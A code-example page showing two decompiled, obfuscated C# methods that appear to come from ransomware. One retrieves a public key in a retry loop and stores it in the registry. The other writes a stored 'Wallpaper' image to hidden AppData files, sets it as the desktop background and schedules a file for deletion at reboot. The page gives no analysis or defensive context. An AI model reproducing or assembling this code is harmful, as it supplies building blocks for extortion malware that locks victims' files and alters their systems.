예제 #1
0
    public bool method_12(string string_7)
    {
        bool   flag  = false;
        string text  = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys");
        string text2 = (string)Delegate169.smethod_0(text, "Public", "");

        if (Delegate98.smethod_1(text2, ""))
        {
            while (!flag)
            {
                string text3 = this.method_9(49, Delegate179.smethod_0(new object[]
                {
                    ":",
                    this.int_2,
                    ":",
                    this.int_3
                }));
                string object_ = this.method_8(Delegate124.smethod_0(string_7, text3));
                if (Delegate98.smethod_0(object_, ""))
                {
                    Delegate127.smethod_0(text, "Public", object_, RegistryValueKind.String);
                    return(true);
                }
                Delegate104.smethod_0(this.int_1);
            }
            return(false);
        }
        Delegate100.smethod_2("Public already exsits");
        return(true);
    }
예제 #2
0
    public void method_10()
    {
        string string_  = Delegate125.smethod_0(Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData), "\\", this.string_3, ".img");
        string string_2 = Delegate125.smethod_0(Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData), "\\", this.string_3, ".bmp");
        string text     = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys");

        byte[] byte_ = (byte[])Delegate169.smethod_0(text, "Wallpaper", "Can't receive wallpaper");
        Delegate170.smethod_0(string_, byte_);
        Bitmap object_ = (Bitmap)Delegate171.smethod_0(string_);

        Delegate172.smethod_0(object_, string_2);
        GClass0.SystemParametersInfo(20, 0, string_2, 3);
        RegistryKey object_2 = Delegate173.smethod_0(Registry.CurrentUser, "Control Panel\\Desktop", true);

        Delegate174.smethod_0(object_2, "WallpaperStyle", 0);
        Delegate175.smethod_0(object_2);
        Delegate128.smethod_0(string_, FileAttributes.Hidden);
        Delegate128.smethod_0(string_2, FileAttributes.Hidden);
        GClass0.MoveFileEx(string_, null, 4);
    }